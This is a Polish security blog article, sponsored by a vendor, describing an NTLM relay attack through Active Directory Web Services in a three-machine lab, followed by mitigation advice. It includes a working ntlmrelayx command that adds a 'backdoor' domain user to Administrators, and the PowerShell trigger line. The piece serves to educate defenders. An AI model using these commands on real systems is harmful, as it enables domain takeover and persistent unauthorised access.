Protokół uwierzytelniania NTLM, z powodu swoich słabości, od kilku lat jest często używany przez zespoły RedTeam oraz atakujących w infrastrukturze Windows jako wektor ataku przekazywania NTLM w celu eskalacji uprawnień. O słabościach pisaliśmy ostatnio tutaj. W dzisiejszym artykule pokażemy nowoodkrytą możliwość przeprowadzenia ataku MITM (Man-In-The-Middle) na domenę Active Directory. Przeprowadzimy atak NTLM Relay wykorzystujący komunikację z usługą ADWS na kontrolerach domeny i specjalne narzędzie impacket wraz z jego najnowszą wersją modułu ntmlrelayx w Python.
Z tego artykułu dowiesz się również, dlaczego administratorzy w firmach nie powinni logować się na serwery członkowskie domeny (jeśli nie są odpowiednio zabezpieczone) oraz na stacje robocze użytkownikiem z uprawnieniami administratora domeny. Lecz zanim przejdziemy do scenariusza ataku najpierw przedstawimy trochę teorii, która pozwoli bardziej zrozumieć przedstawiany atak.
Co to jest Active Directory Web Services?
Active Directory Web Services (w skrócie ADWS) to usługi Active Directory dostępne od wersji Windows Server 2008 R2, które są domyślnie instalowane na kontrolerach domeny w celu interakcji z domeną, zamiast korzystania z bardziej tradycyjnych protokołów, takich jak LDAP lub RPC. Nazwa usługi jest trochę myląca i nie ma nic wspólnego z protokołem HTTP (nie używa go) lecz z technologią WCF (ang. Windows Communication Foundation). Domyślny port, na którym odbywa się komunikacja to 9389 TCP. Usługa ADWS wykorzystywana jest między innymi przez oficjalny moduł PowerShell Active Directory oraz konsolę Centrum Administracyjne Usług Active Directory (Active Directory Administrative Center) do uzyskiwania dostępu do instancji usług katalogowych oraz zarządzania nimi. Developerzy mogą także napisać własną aplikację w .Net wykorzystującą ADWS do zarządzania AD. Technologia komunikacji WCF, która w tym przypadku jest używana to „ujednolicony model programowania służący do tworzenia aplikacji zorientowanych na usługi”, szczególnie popularny w aplikacjach .NET. ADWS używa w szczególności swojej implementacji NetTcpBinding (Net.TCP Binding). Można to zauważyć, gdy schemat „net.tcp://” jest używany w adresach URL (i pojawia się wyraźnie na początku ruchu). Jest to protokół binarny, który nie jest jeszcze szeroko obsługiwany przez narzędzia i biblioteki spoza .NET.
WCF jest oparty na dwóch protokołach opublikowanych przez Microsoft:
Na czym polega problem?
Koncepcję ataku NTLM Relay opisaliśmy dokładniej w artykule „Słabości uwierzytelniania NTLM i nowe podatności w Microsoft“.
Tym razem odkrywcą nowego ataku NTML Relay jest francuski badacz bezpieczeństwa Clément Notin. Podczas testów penetracyjnych, które przeprowadzał zauważył, że moduł PowerShell dla Active Directory umożliwia w swoich funkcjach użycie przełącznika „-Server”, dzięki któremu możliwe jest wskazanie serwera, z którym klient PowerShell ma nawiązać połączenie. Clement przeanalizował całą komunikację na porcie TCP 9389 w narzędziu WireShark i zauważył, że gdy w wartości tego parametru przekaże się numer IP zamiast nazwy hosta, komunikacja z serwerem docelowym odbywa się po NTLM (gdyby była to nazwa FQDN lub NETBIOS wówczas odbywałaby się po Kerberos).
Powyższa możliwość spowodowała, że badacz mógł przechwycić przychodzące uwierzytelnianie NTLM do fałszywego serwera i przekazać je dalej. Innymi słowy – wykonać atak NTML Relay.
W tym celu Notin zmodyfikował istniejący moduł ntlmrelayx narzędzia impacket, aby mógł on wspierać komunikację WCF (wykorzystującą protokół binarny Net.TCP.Binding używany w ADWS). Przypominamy, że do tej pory funkcja przekazywania NTLM w module ntlmrelayx oferowała tylko wsparcie dla dwóch typów protokołów HTTP i SMB dla przychodzących uwierzytelnionych połączeń NTLM z serwerów. Tak przechwycone NTLM’y można następnie przekazać do większej liczby protokołów: HTTP, SMB, LDAP, SMTP itp.
Po modyfikacji ntlmrelayx w celu wsparcia WCF, atak przebiega następująco:
Atak NTLM Relay z wykorzystaniem WCF
Atak pozwala na przekazywanie uwierzytelniania NTLM, gdy podatny serwer umożliwi kontrolę nad zmienną $server.
Na przykład możemy wykonać następujące polecenie z modułu PowerShell dla Active Directory:
get-aduser -filter * -server $server
Jeśli powyższe polecenie wykona użytkownik na wysokich uprawnieniach administracyjnych, a atakujący jest w posiadaniu serwera podanego w zmiennej $server, to jest on w stanie przechwycić żądanie NTLM i wykonać dowolne polecenie na kontrolerze domeny w kontekście przechwyconych uprawnień użytkownika.
„W środowiskach IT logowanie się administratorów na serwery członkowskie z najwyższymi uprawnieniami w domenie jest nagminnym przypadkiem. Również do pracy administratorów instalowane (wdrażane) są serwery przesiadkowe, na których administrator pracuje na najwyższych uprawnieniach. Poniżej pokażemy jak w łatwy sposób, wykorzystując opisywany atak, można skraść administratorowi uprawnienia i wykonać na nich dowolną akcję z serwera atakującego na kontrolerze domeny.”
Scenariusz ataku NTLM Relay
W celu przeprowadzenia nowego ataku NTLM Relay przygotowaliśmy trzy maszyny:
- Kontroler domeny Windows 2016 z adresem IP 172.16.215.100
- Serwer członkowski domeny Windows 2016 z adresem IP 172.16.215.150
- Serwer Linux atakującego z zainstalowanym narzędziem impacket z adresem IP 172.16.215.129
Scenariusz ataku zakłada, że będziemy chcieli przejąć uprawnienia administratora domeny w sieci wewnętrznej, który zalogował się na serwer członkowski. Następnie administrator na tym serwerze wykona wbudowane w moduł Active Directory dla PowerShell polecenie (Get-AdUser) z kontrolowaną przez atakującego zmienną „$serwer”, która będzie wskazywała na serwer atakującego. Serwer atakującego następnie przejmie żądanie NTLM od serwera członkowskiego i na uprawnieniach administratora wykona komendę na kontrolerze domeny. Nasza komenda doda w domenie nowego użytkownika „backdoor” i przydzieli mu uprawnienia administracyjne (doda go do Administratorów w domenie).
W celu wykonania powyższego scenariusza wykonujemy następujące kroki:
Krok 1 – przygotowanie serwera atakującego do przechwytywania żądań NTLM po WCF
Na naszym serwerze Kali instalujemy i konfigurujemy narzędzie impacket (wymagany Python 2.6/2.7 oraz Python 3.7). Jak to wykonać znajdziesz pod linkiem tutaj.
Po udanej instalacji odpalamy na serwerze atakującego następująca komendę:
ntlmrelayx –no-smb-server –no-http-server -t rpc://172.16.215.100 -c ” net user backdoor P@ssw0rd /add /domain && net localgroup Administrators backdoor /add”
Od tego momentu serwer atakującego nasłuchuje zapytań NTLM kierowanych do niego po WCF.
Adres „rpc://172.16.215.100” to adres naszego docelowego serwera (kontrolera domeny), na którym serwer atakującego w momencie przechwycenia przez moduł żądania NTLM’a wykona polecenie wymienione po przełączniku „-c”. Cała komunikacja pomiędzy serwerem atakującego, a klientem (serwerem członkowskim, na którym wykonamy w kroku nr 2 polecenie PowerShell) odbywa się po WCF. Komunikacja pomiędzy serwerem atakującego, a kontrolerem domeny odbywa się już po RPC. RPC jest otwartym domyślnie portem na każdym z kontrolerów domeny.
Krok 2 – Uruchomienie w PowerShell polecenia ze wskazaniem na serwer atakującego
Następnie logujemy się na serwer członkowski jako administrator. W naszym przypadku jest to konto „KapitanHack.pl”, które jest Domain Adminem (administratorem domeny). Jest to częsty przypadek logowań, z którym spotykamy się w firmach.
Teraz musimy jakoś spowodować (nawiązać komunikację) z serwerem atakującego po WCF. Doskonałą funkcją (poleceniem) dostępną w arsenale poleceń modułu Active Directory dla PowerShell będzie funkcja Get-ADUser, która służy do pobierania informacji o użytkownikach w Active Directory:
Get-ADUser -Filter * -Server 172.16.215.129
Powyższe polecenie to nic innego jak wyświetlenie wszystkich użytkowników w AD. Adres IP 172.16.215.129 odpowiada naszemu serwerowi atakującego z zainstalowanym narzędziem impacket.
Nie sugerujmy się odpowiedzią o błędzie zwróconym przez wynik powyższej komendy Powershell. Dla administratora może to oznaczać tyle, że podał on zły serwer w przełączniku „-server”. Dla atakującego zaś oznacza to, że w tle przekazany zostało do jego serwera żądanie NTLM. Wynik zobaczymy w następnym kroku.
Krok 3 – sprawdzenie wyniku
Jeśli serwer atakującego pomyślnie przechwyci NTLM Administratora z serwera członkowskiego wówczas na serwerze atakującego powinniśmy zobaczyć poniższy wynik:
Widzimy wykonanie na kontrolerze domeny (o IP: 172.16.215.100) na uprawnieniach administratora zadanie, które w tle wykonuje polecenia dodania użytkownika „backdoor” oraz dodaje go do grupy Administrators.
Wynik wykonanego w Active Directory polecenia z serwera atakującego:
Demo Ataku
Poniżej zamieściliśmy na nagraniu demo ataku NTML Relay z wykorzystaniem podatnego klienta Windows 2016.
Podsumowanie
Powyższy atak pokazuje, że NTLM jest poważnym utrapieniem w bezpieczeństwie środowisk IT. Wystarczy uruchomić w sieci narzędzie impacket, wysłać do administratora legalny skrypt tylko z jednym zmienionym parametrem i możemy przeprowadzić atak MITM (man-in-the middle), dzięki któremu możemy przejąć uprawnienia nad domeną Active Directory lub innym komputerem w sieci. W opisywanym ataku istotną rzeczą jest, że działa on z surowym NTLM, a także z SPNEGO i Kerberos (prosi klienta o ponowienie próby z NTLM). Możemy wykonać atak z podaniem adresu IP i nazwą FQDN serwera z impacket (po uprzednim dodaniu SPN, w celu upewnienia, że działa Kerberos działa). Warunkiem udanego przeprowadzenia ataku jest podatny klient (serwer), z którym wykonywana jest komunikacja.
Jak sobie radzić z problemem?
Z powyższym problemem możemy sobie częściowo poradzić wprowadzając do środowiska następujące zalecenia:
- Aktualizować Windowsy!
- Wymusić podpisywanie pakietów dla klientów i serwerów w całej sieci za pośrednictwem GPO
- Pozbyć się klientów wysyłających LM responses i ustawić w GPO „LAN Manager authentication level” na odrzucanie LM i pozostawianie tylko NTLM i NTLMv2.
- Sprawdzić uprawnienia ACL w Active Directory i wdrożyć bezpieczny model ograniczenia uprawnień (ang. least privilege principle) lub ZeroTrust
- Wprowadzić segmentację w sieci w celu zapobiegania używania ataków typu Relay
- Tam, gdzie jest to możliwe spróbować zredukować używanie NTLM ogólnie w środowisku sieciowym, zastępując go protokołem Kerberos
- Monitorować ruch NTLM i wprowadzić restrykcje w połączeniach
- Wdrożyć narzędzia do bezpieczeństwa pozwalające kontrolować i zabezpieczyć drogi obejść serwerów zarządzających, z których administratorzy zarządzają Active Directory
Protokół RPC jest szczególnie dostępny na kontrolerach domeny i tylko częściowo chroniony. Poprawki dla podatności CVE-2020-1113 z maja 2020, częściowo rozwiązują problem w przekierowania NTLM w komunikacji RPC. Lecz atakujący może użyć innego protokołu niż RPC w ataku NTLM Relay. Może też wykonać atak na inny komputer w sieci (niekoniecznie kontroler domeny).
Artykuł sponsorowany przez Veracomp – Exclusive Networks Poland SA i Tenable – właściciela oprogramowania Tenable.ad.